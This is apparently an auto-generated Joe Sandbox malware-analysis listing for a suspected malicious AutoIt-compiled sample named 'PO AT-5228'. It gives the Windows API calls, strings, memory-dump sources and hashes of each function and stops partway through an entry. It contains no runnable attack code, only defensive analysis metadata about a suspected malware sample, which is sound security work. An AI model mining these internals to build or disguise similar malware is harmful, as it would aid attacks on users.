Function 00B7BCC9 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00B7BCDA
GlobalMemoryStatusEx.KERNEL32 ref: 00B7BCF3

Strings

@, xrefs: 00B7BCE8

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 17d8bd06c5403b0a859f4f6cac030867cd67b6b45e32acb699327570b0b207f4
Instruction ID: 5a08409f7f92257b3cfc5c7400361b022bb4203f8233389bcdebf066f3d496c8
Opcode Fuzzy Hash: 17d8bd06c5403b0a859f4f6cac030867cd67b6b45e32acb699327570b0b207f4
Instruction Fuzzy Hash: D35127714087449BE320AF24DC86BAFBBE8FF95354F41889EF6D8410A6DF7085A88756

Function 00BAC56D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 00B644ED: __fread_nolock.LIBCMT ref: 00B6450B

_wcscmp.LIBCMT ref: 00BAC65D
_wcscmp.LIBCMT ref: 00BAC670

Strings

FILE, xrefs: 00BAC5A5

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: 12ee9859d27ef24c76321e2741ce37795cb5cf345db26b3d7d6fa5379649693d
Instruction ID: 7ba15900f76a225c7bdc9b35868065f1694869d18b2dc71da8e20a6ac3d04883
Opcode Fuzzy Hash: 12ee9859d27ef24c76321e2741ce37795cb5cf345db26b3d7d6fa5379649693d
Instruction Fuzzy Hash: F841A772A0420A7BDF11EAA4DC42FEF7BF9EF4A714F0004A9F515A7181DB759A04C751

Function 00BCA76A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 00BCA85A
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00BCA86F

Strings

', xrefs: 00BCA7C3

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 826f1b0f3b7c8c7211fc5996639398892771fb24738321a02e69d2bcf8570af0
Instruction ID: c3d8b2546cb517dc6af670bb23bd43466a086a64d8f9139de9ed45a35ec95ce9
Opcode Fuzzy Hash: 826f1b0f3b7c8c7211fc5996639398892771fb24738321a02e69d2bcf8570af0
Instruction Fuzzy Hash: 7E41E574E012099FDB14CF68D881FDABBF9FB08304F1441AAE905AB781D770A942CFA1

Function 00BB5180 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BB5190
InternetCrackUrlW.WININET(?,00000000,00000000,?), ref: 00BB51C6

Strings

|, xrefs: 00BB51B5

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: c69af94872f089bbee77cf2062ef355ae2b3114621647bb8414225e351287d65
Instruction ID: b0b72e062d2f6d421c67c9fb5557d7ed4b9aafaefda0b696c484f2fe1c1d0c3a
Opcode Fuzzy Hash: c69af94872f089bbee77cf2062ef355ae2b3114621647bb8414225e351287d65
Instruction Fuzzy Hash: 5A313B71C01119ABCF11EFA4CC85AEEBFB9FF14740F004095F815A6166DB75A946CBA0

Function 00BC975A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00BC980E
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00BC984A

Strings

static, xrefs: 00BC97AA

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: a67bec1370ecf4aa981dc6ca88e8d94a22a380f260fe5df8234d86d0af66ebbc
Instruction ID: f4a7d9d4213ef8265b51b307fb722376dc4b546b1d7b38ce2a38646a757d393f
Opcode Fuzzy Hash: a67bec1370ecf4aa981dc6ca88e8d94a22a380f260fe5df8234d86d0af66ebbc
Instruction Fuzzy Hash: AC316A71110604AEEB109F68CC85FBB73E9FF59760F00865DF9A9D7190DA31AC81D760

Function 00BA5157 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BA51C6
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00BA5201

Strings

0, xrefs: 00BA51BF

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: eba35198a61a988ced39cf707369d945eee58685bf29ef97fb3009b0432d5cc7
Instruction ID: 5301bbdf81168545c6bdb0ec315b99e5a3299112632a3c99999435a3ae6e1667
Opcode Fuzzy Hash: eba35198a61a988ced39cf707369d945eee58685bf29ef97fb3009b0432d5cc7
Instruction Fuzzy Hash: E031E471608705EFEB34CF99D885BAEBBF4EF86350F1440A9E985A61A0D7749B44CB10

Function 00BB658B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 83COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00BB6608

Strings

, $, xrefs: 00BB6648
AUTOITCALLVARIABLE%d, xrefs: 00BB65FA

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: __snwprintf
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 2391506597-2584243854
Opcode ID: ed59a3f0f2866bca20363a93606a78109e03c77d03ba9a5741fa2a6b74227ed4
Instruction ID: 1f4bd8c21acc0f972a280cd8739daa15dacab767a539ebe6d04727e53115ee30
Opcode Fuzzy Hash: ed59a3f0f2866bca20363a93606a78109e03c77d03ba9a5741fa2a6b74227ed4
Instruction Fuzzy Hash: 27215E71600219ABCF24EF64C882AFD77F4AF46744F0004A9F505AB152DBB8EE55DBA1

Function 00BC93CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00BC945C
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00BC9467

Strings

Combobox, xrefs: 00BC9429

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 1672867058b439c58959f9b28ba2563f235a646f37293f8b31e55849bdb1f008
Instruction ID: cf1abf8c82ffaaa69c05a0f3166fde518574ee3a4127e2d7b0738e6439edbba4
Opcode Fuzzy Hash: 1672867058b439c58959f9b28ba2563f235a646f37293f8b31e55849bdb1f008
Instruction Fuzzy Hash: 71119DB1210208AFFF259E54DC84FAB37AAEB883A4F104169F9189B2A0D6719C528760

Function 00BC98FE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00B7D17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00B7D1BA
Part of subcall function 00B7D17C: GetStockObject.GDI32(00000011), ref: 00B7D1CE
Part of subcall function 00B7D17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 00B7D1D8

GetWindowRect.USER32(00000000,?), ref: 00BC9968
GetSysColor.USER32(00000012), ref: 00BC9982

Strings

static, xrefs: 00BC9945

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: bac14e138473468e0e8f8671197097a7db0561252e2d6780afd579407e5dd6ea
Instruction ID: 288971fd73bf1d9f7cd23400b71f4a76ece510bec9676fe402a88fe7f9e0afc9
Opcode Fuzzy Hash: bac14e138473468e0e8f8671197097a7db0561252e2d6780afd579407e5dd6ea
Instruction Fuzzy Hash: E5114772520209AFDB04DFB8C849EEA7BE8EB08354F05462CF955E3150D674E850DB60

Function 00BC9617 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00BC9699
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00BC96A8

Strings

edit, xrefs: 00BC967D

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 9c61339123618332d9f1c2fef007ac71b420172e8760a8991409b3a937fb7b28
Instruction ID: 1cde8aad448a40141391778449cd7763763cf8f9d2e29d107cded5d704173612
Opcode Fuzzy Hash: 9c61339123618332d9f1c2fef007ac71b420172e8760a8991409b3a937fb7b28
Instruction Fuzzy Hash: 80116A71500108ABFB119FA4DC88FEB3BAAEB153B8F504368FA65971E0C771DC519760

Function 00BA5262 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BA52D5
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00BA52F4

Strings

0, xrefs: 00BA52CE

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 5fbcbd06aa4209014500410cedf6d83d4086b480557ceac00b48e95a9ac5fb4c
Instruction ID: 17d4dbfb6293da296ea1324bcfe2023186570b8151e830c5bd9952052b82757f
Opcode Fuzzy Hash: 5fbcbd06aa4209014500410cedf6d83d4086b480557ceac00b48e95a9ac5fb4c
Instruction Fuzzy Hash: FD11D072905714BBDF30DA98D944B9D77E8EB86790F0900A5E942E72A0D7B0EF05CBA0

Function 00BB4D9F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00BB4DF5
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00BB4E1E

Strings

<local>, xrefs: 00BB4DE6

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 9e4127fcae1f3d6c1e3fdad91e9d0f21a02ddff5df318e0b18676127691561f6
Instruction ID: dfe4654b7c25e336420f9dff74a87f2f7adc9c0c45e674336d7eeb93e90d6ac2
Opcode Fuzzy Hash: 9e4127fcae1f3d6c1e3fdad91e9d0f21a02ddff5df318e0b18676127691561f6
Instruction Fuzzy Hash: 8711AC70501221BBDB298F61C8C9EFBFAE8FF06755F10826AF51596141D7F09D80C6E0

Function 00BBA82C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52networkCOMMON

Download Yara Rule

APIs

inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 00BBA84E
htons.WSOCK32(00000000,?,00000000), ref: 00BBA88B

Strings

255.255.255.255, xrefs: 00BBA866

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: htonsinet_addr
String ID: 255.255.255.255
API String ID: 3832099526-2422070025
Opcode ID: 84e2483de7a955b42a8ca150a3f5600d3375134d0abbb9e7a019bda08ebea9fa
Instruction ID: 3ba306fe85e99531d56c7c227b273aae317613ad9e87900ee37902cde88f184e
Opcode Fuzzy Hash: 84e2483de7a955b42a8ca150a3f5600d3375134d0abbb9e7a019bda08ebea9fa
Instruction Fuzzy Hash: 7B01C075600304ABCB11AF68CCC6BF9B7A4EF45314F1085AAE5169B6D1DAB1E8058752

Function 00B9B781 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00B9B7EF

Strings

ComboBox, xrefs: 00B9B78B
ListBox, xrefs: 00B9B7B9

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend
String ID: ComboBox$ListBox
API String ID: 3850602802-1403004172
Opcode ID: 38489ed8a7a8391627ded5fc9c601b153e964feaf225fd82649dc8645c2e2c6f
Instruction ID: 517660ffdd232253d491e49b842490d68bbde649194b1e9a4fbe6ca38c8f64bb
Opcode Fuzzy Hash: 38489ed8a7a8391627ded5fc9c601b153e964feaf225fd82649dc8645c2e2c6f
Instruction Fuzzy Hash: 0701F171600118ABCF04EBA4DC82DFE33E9AF06310B04066CF4A2672D2EB7868189790

Function 00B9B67D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000180,00000000,?), ref: 00B9B6EB

Strings

ComboBox, xrefs: 00B9B687
ListBox, xrefs: 00B9B6B5

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend
String ID: ComboBox$ListBox
API String ID: 3850602802-1403004172
Opcode ID: efda0cfc4e80c3220091d4c7aed1ff1b46b480f6c05d81bf5803db04fe85abbb
Instruction ID: 93bcbc4db79e5ca1e5673c03dc79e973d3dc30ed6bdbe943c8ccb01e4340dfcc
Opcode Fuzzy Hash: efda0cfc4e80c3220091d4c7aed1ff1b46b480f6c05d81bf5803db04fe85abbb
Instruction Fuzzy Hash: F701A275641008ABCF04EBA4DA52EFE77F89F15340F1400B9B442B3181DB986E1897B5

Function 00B9B700 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000182,?,00000000), ref: 00B9B76C

Strings

ComboBox, xrefs: 00B9B70A
ListBox, xrefs: 00B9B738

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend
String ID: ComboBox$ListBox
API String ID: 3850602802-1403004172
Opcode ID: 587f4a7d6fe8a258408f60b931070840d1e800b90e9459ca3b54bde0d6aff627
Instruction ID: 6f8b97f5a2f61a3f1bd03ca64922bd902c43960c1aa3cc820a4bf2bed04cbbc6
Opcode Fuzzy Hash: 587f4a7d6fe8a258408f60b931070840d1e800b90e9459ca3b54bde0d6aff627
Instruction Fuzzy Hash: A301D1B5640108ABCF00EBA4DA82EFE73EC9F15340F140179B442B3192DBA95E1997B5

Function 00BA7744 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00BA7762
_wcscmp.LIBCMT ref: 00BA7774

Strings

#32770, xrefs: 00BA776E

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 4f9004fd9b4c1d7bd62ebd058e50f07b5021f520f7dfbc905437c5def51e2d4c
Instruction ID: 5217cda785111e43cb09dc78ffb846b5d64afcad5ad12c9bfa720f711949af88
Opcode Fuzzy Hash: 4f9004fd9b4c1d7bd62ebd058e50f07b5021f520f7dfbc905437c5def51e2d4c
Instruction Fuzzy Hash: 15E092776043642BDB20EAA99C49FCBFBACEB52764F0000A6B915D3051DA74AA4287D0

Function 00B9A631 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00B9A63F

Part of subcall function 00B813F1: _doexit.LIBCMT ref: 00B813FB

Strings

AutoIt, xrefs: 00B9A633
Error allocating memory., xrefs: 00B9A638

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 1148a3259b6c6c520ffbc1b4d65e3eea24376a6b839638dc4477af13dc7eb610
Instruction ID: 5f61926cc57e8024fadc6114c774ecb927c45de8d58dcbabb9d0f5643ea9aee7
Opcode Fuzzy Hash: 1148a3259b6c6c520ffbc1b4d65e3eea24376a6b839638dc4477af13dc7eb610
Instruction Fuzzy Hash: 76D02B313C031833C31036AC6C0BFD836CC8B15F51F0440A5BB0C9A1D24DD2C69042DD

Function 00BDAE86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 00BDACC0
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00BDAEBD

Strings

WIN_XPe, xrefs: 00BDACD3

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

